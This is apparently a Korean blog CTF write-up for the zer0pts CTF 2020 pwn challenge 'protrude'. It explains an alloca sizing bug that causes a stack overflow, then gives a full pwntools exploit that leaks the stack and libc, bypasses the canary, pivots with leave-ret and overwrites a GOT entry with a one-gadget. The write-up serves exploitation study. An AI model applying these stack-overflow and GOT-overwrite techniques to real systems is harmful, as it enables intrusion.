protrude.c, libc-2.23.so, chall이 주어진다.

protrude.zip
771.1 kB

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

long n;

long read_long() {
  char buf[32];
  int readByte;
  memset(buf, 0, sizeof(buf));
  readByte = read(0, buf, sizeof(buf));
  if (readByte == 0) {
    puts("[ERROR] read failed");
    exit(1);
  }
  return atol(buf);
}

void setup() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
}

void calc_sum(void) {
  long i;
  long *array;
  long result;

  array = (long*)alloca(n * 4);

  for(i = 0; 0 <= i && i < n; i++) {
    printf("num[%ld] = ", i + 1);
    array[i] = read_long();
  }

  for(result = 0, i = 0; i < n; i++) {
    result += array[i];
  }

  printf("SUM = %ld\n", result);
}

int main() {
  setup();

  printf("n = ");
  n = read_long();
  if (n <= 0x00 || n > 22) {
    puts("Invalid input");
  } else {
    calc_sum();
  }
  return 0;
}

c파일이 주어져서 취약점을 찾는 것은 쉬웠다. long은 64bit에서 8byte인데 long이 4byte인 줄 알고 그만큼 alloca를 하기 때문에 bof가 발생한다. 이런 bof를 막기 위해선 sizeof(type) 을 써주는 걸 습관 들여야겠다.

How to Exploit

1. How long can we overwrite the stack

n이 몇일 때, bof가 최대 얼마만큼 발생하는지 구하자. 계산하기 귀찮아서 파이썬을 짰다.

max = 0

for n in range(23):
    alloc = (n*4+0xf+0xf)/0x10
    alloc *= 0x10
    bof = n*8 - alloc

    if max <= bof:
        max = bof
        print n

print max

n이 22일 때, 64 바이트만큼 bof가 이뤄진다.

array 배열 인덱스로 표현하자면, 0부터 13까지가 정상적인 할당이고 14는 i, 15는 result, 16은 array 주소, 17은 canary, 20은 rbp, 21은 ret이 위치해있다.

2. GOT Overwrite

처음 든 생각은 array의 값을 바꿔서 GOT Overwrite를 하자고 생각하였다. 그럴려면 libc leak을 해야하는데, ret을 덮지 않는 이상 두번의 bof는 일어날 수 없으므로 헤맸다. libc leak을 하지 않는 방법으로 offset이 비슷하여 뒷 3byte만 바꾸는 등 약간의 brute force를 생각해보았다.

서버 libc offset을 확인해보니 read가 onegadget offset과 비슷하였다.

image

뒤에 2바이트만 바꾸면 되는데 뒷 세자리는 일정하므로 1/16이라는 굉장히 효율적인 브포를 생각하였다.

image

그런데 read 3자리를 바꾸려면 memset의 got에도 영향이 가고 코드를 보면 read 함수가 나오기 전에 memset 함수가 실행되서 에러가 발생할 것이다.

동일한 이유로 got overwrite를 한다면 printf만 가능하였고 printf는 세자리 16^3을 맞춰야 했다. 속도가 빠른 로컬에서 성공하여서 혹시나 하는 마음에 서버에서 돌려보았지만 역시나 쉘이 따지진 않았다.. FAIL

3. fake ebp

got overwrite를 한다면 ret을 덮을 수는 없다. 그래서 이번에는 ret을 덮는 방향으로 생각을 해보았다. ret까지만 덮을 수 있으므로 rop chain을 형성하려면 leave-ret으로 덮어서 rbp의 값을 조작해 하는 법이 있었다. 그럴려면 stack addr을 leak해야 한다.

rbp를 건들지 않는다면 stack addr이 들어가고 rbp를 건들면 우리가 원하는 값을 넣어준다. 이 차이를 이용하여 result에서 stack addr을 leak할 수 있다.

또한 i 값을 조작하여 canary를 우회하여 rbp, ret을 조작할 수 있다.

이젠 그냥 rop니까 libc leak하고 got를 onegadget으로 덮어주었다.

Exploit Code

from pwn import *

def send(payload):
    p.sendafter('= ', payload)


#p = process('./chall')
p=remote('18.179.178.246', 9005)

pop_rdi = 0x400a83
puts_plt = 0x400660
leave_ret = 0x400849

read_got = 0x601040
read_offset = 0xf7250
onegadget_offset = 0xf1147

send('22')

# 1. Leak the stack addr
for i in range(14):
    send('0')
send(str(20))
send(str(0x400a10))
p.recvuntil('SUM = ')
total = int(p.recvline()[:-1]) # 0x16+0x16+stack+canary+stack+0xb0+0x400a10

for i in range(14):
    send('0')
send(str(19))
send(str(0x0))
send(str(0x400a10))
p.recvuntil('SUM = ')
total2 = int(p.recvline()[:-1]) # 0x16+0x16+stack+canary+0x400a10

stack = total-total2-0xb0
p.success('stack addr : '+hex(stack))

# 2. Leak the libc addr
send(str(pop_rdi))
send(str(read_got))
send(str(puts_plt))
send(str(0x400a10))
for i in range(10):
    send('0')
send(str(19))
send(str(stack-0x8))
send(str(0x400849))

p.recvline()
read_addr = u64(p.recv(6)+'\x00'*2)
libc_base = read_addr-read_offset
onegadget = libc_base+onegadget_offset
p.success('libc base : '+hex(libc_base))

# 3. GOT Overwrite
for i in range(14):
    send('0')
send(str(15))
send(str(0x601030-17*8))
send(str(onegadget))

p.interactive()

Capture the Flag

image


'Writeup [pwn] > CTF 대회 기출' 카테고리의 다른 글

[zer0pts CTF 2020] grimoire  (0) 2020.03.24
[zer0pts CTF 2020] babybof  (0) 2020.03.19
[zer0pts CTF 2020] diylist  (0) 2020.03.12
[zer0pts CTF 2020] hipwn  (0) 2020.03.11
DEFCON 2019 Speedrun-007  (0) 2020.03.07

+ Recent posts